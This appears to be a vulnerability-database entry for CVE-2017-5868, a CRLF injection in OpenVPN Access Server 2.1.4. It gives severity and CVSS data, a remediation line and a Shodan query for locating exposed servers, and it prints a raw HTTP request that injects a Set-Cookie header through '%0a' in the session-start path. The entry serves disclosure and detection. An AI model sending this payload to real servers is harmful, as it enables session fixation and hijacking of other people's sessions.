| Title | OpenVPN Access Server 2.1.4 - CRLF Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Attackers can inject arbitrary HTTP headers to conduct session fixation attacks, potentially hijacking user sessions or performing HTTP response splitting attacks. |
| Remediation | Update to the latest version of OpenVPN Access Server or apply vendor-provided security patches. |
| CVSS Score | 6.1 |
| EPSS Score | 0.08462 |
| CVE ID | CVE-2017-5868 |
| CWE ID | CWE-93 |
| Shodan Query | cpe:"cpe:2.3:a:openvpn:openvpn_access_server" |
| Tags | cve cve2017 openvpn crlf vuln |
CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via “%0A” characters in the PATH_INFO to session_start/.
GET /__session_start__/%0aSet-Cookie:%20crlfinjection=1; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-5868.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-5868.pcap
N/AN/A